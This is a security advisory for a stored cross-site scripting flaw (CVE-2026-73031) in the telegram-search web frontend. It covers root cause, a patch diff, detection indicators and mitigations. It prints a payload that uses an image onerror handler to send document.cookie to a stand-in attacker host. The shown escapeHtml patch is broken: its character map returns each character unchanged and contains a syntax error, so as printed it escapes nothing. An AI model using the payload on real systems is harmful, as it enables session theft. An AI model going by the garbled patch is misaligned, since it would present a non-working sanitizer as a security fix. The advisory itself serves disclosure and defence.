CVE-2026-73031 Overview
CVE-2026-73031 is a stored cross-site scripting (XSS) vulnerability in telegram-search, an open-source Telegram message search application. The flaw resides in the highlightKeyword function within MessageList.vue, which passes raw message content to Vue's v-html directive without HTML escaping or sanitization. Remote attackers can send crafted messages containing malicious HTML to a shared Telegram group, and the payload executes in any victim's browser when they view or search messages. The issue is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).
Critical Impact
Zero-click, cross-user JavaScript execution in the browser context of every user who views or searches affected Telegram messages, enabling session theft, credential harvesting, and account takeover.
Affected Products
- telegram-search (GramSearch project) web frontend
- apps/web/src/components/messages/MessageList.vue component
- All versions prior to commit 54f6adc
Discovery Timeline
- 2026-08-11 - CVE-2026-73031 published to NVD
- 2026-08-11 - Last updated in NVD database
Technical Details for CVE-2026-73031
Vulnerability Analysis
The vulnerability lives in the highlightKeyword function in apps/web/src/components/messages/MessageList.vue. The function wraps matched search keywords in a <span> tag styled with a highlight color, then returns the resulting string. That string is then rendered through Vue's v-html directive, which injects raw HTML into the DOM without escaping.
Because message text is never sanitized before reaching v-html, an attacker who posts a message containing HTML tags into a shared Telegram group causes those tags to be interpreted as markup in every viewer's browser. The exploitation path is stored and cross-user: the payload persists in message history and executes for any user who opens the conversation or runs a search.
A payload such as <img src=x onerror=fetch('https://attacker/'+document.cookie)> runs with the privileges of the victim's session, allowing token exfiltration, arbitrary API calls, and further pivoting within the application context.
Root Cause
The root cause is the use of v-html on unsanitized, attacker-controlled content. The original highlightKeyword implementation returned the raw text parameter unchanged when no keyword was supplied, and used String.prototype.replace to inject a <span> around the keyword match without first escaping HTML special characters in the surrounding text.
Attack Vector
An attacker with the ability to send messages to a Telegram group monitored by a telegram-search instance sends a message containing an HTML injection payload. No user interaction beyond browsing or searching is required. When any user of the telegram-search web UI views the conversation or triggers a keyword search that renders the message list, the injected script executes automatically.
const listRef = ref<HTMLElement | null>(null)
const { copy } = useClipboard()
+function escapeHtml(s: string) {
+ return s.replace(/[&<>"']/g, c =>
+ ({ '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''' } as Record<string, string>)[c])
+}
+
function highlightKeyword(text: string, keyword: string) {
+ const safe = escapeHtml(text)
if (!keyword)
- return text
- const regex = new RegExp(`(${keyword})`, 'gi')
- return text.replace(regex, '<span class="bg-yellow-200 dark:bg-yellow-800">$1</span>')
+ return safe
+ const escaped = escapeHtml(keyword).replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
+ const regex = new RegExp(`(${escaped})`, 'gi')
+ return safe.replace(regex, '<span class="bg-yellow-200 dark:bg-yellow-800">$1</span>')
}
Source: GitHub commit 54f6adc. The patch introduces an escapeHtml helper and applies it to both the input text and the keyword before regex construction, preventing HTML interpretation of user-controlled data.
Detection Methods for CVE-2026-73031
Indicators of Compromise
- Telegram messages containing HTML tags such as <script>, <img> with onerror, <svg> with onload, or <iframe> in indexed content.
- Outbound browser requests from telegram-search users to unexpected external hosts, particularly requests carrying cookie or localStorage values in query strings.
- DOM anomalies in the message list view, including injected image tags, invisible iframes, or unexpected inline styles.
Detection Strategies
- Perform a static grep of the deployed frontend bundle for use of v-html combined with untrusted message data.
- Scan the Telegram message store for stored payloads matching common XSS patterns before upgrading; do not simply patch without auditing historical data.
- Enforce a strict Content Security Policy (CSP) at the reverse proxy and treat CSP violation reports as high-signal detections.
Monitoring Recommendations
- Log and alert on browser CSP violation reports from the telegram-search web application.
- Monitor egress traffic from user workstations for anomalous requests originating from the telegram-search origin.
- Review web server access logs for unusual API activity following message-rendering events, which may indicate hijacked sessions.
How to Mitigate CVE-2026-73031
Immediate Actions Required
- Update telegram-search to a build that includes commit 54f6adc from PR #654.
- Restrict access to the telegram-search web UI to trusted users while patching, and consider taking the service offline if it indexes public or high-risk groups.
- Rotate any session tokens, API keys, or credentials that may have been exposed via the web application.
- Audit indexed message history and purge stored payloads containing HTML or JavaScript before returning the service to normal operation.
Patch Information
The fix is delivered in commit 54f6adced844ce9990228d75e31348bfed934e05 via PR #654, tracked in issue #653. The patch adds an escapeHtml function and applies it to both the message text and the search keyword before any HTML is constructed, closing the injection path into v-html. Additional context is available in the VulnCheck advisory.
Workarounds
- Replace v-html with Vue text interpolation ({{ }}) in MessageList.vue if immediate upgrade is not feasible, accepting the loss of the highlight styling.
- Deploy a strict Content Security Policy that disallows inline scripts and restricts img-src and connect-src to trusted origins.
- Sanitize message content server-side with a library such as DOMPurify before persisting it into the search index.
# Apply the upstream fix directly from GitHub
git clone https://github.com/GramSearch/telegram-search.git
cd telegram-search
git checkout 54f6adced844ce9990228d75e31348bfed934e05
pnpm install
pnpm build
# Example strict CSP header for the reverse proxy fronting telegram-search
# add_header Content-Security-Policy "default-src 'self'; script-src 'self'; \
# img-src 'self' data:; connect-src 'self'; object-src 'none'; frame-ancestors 'none';" always;
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

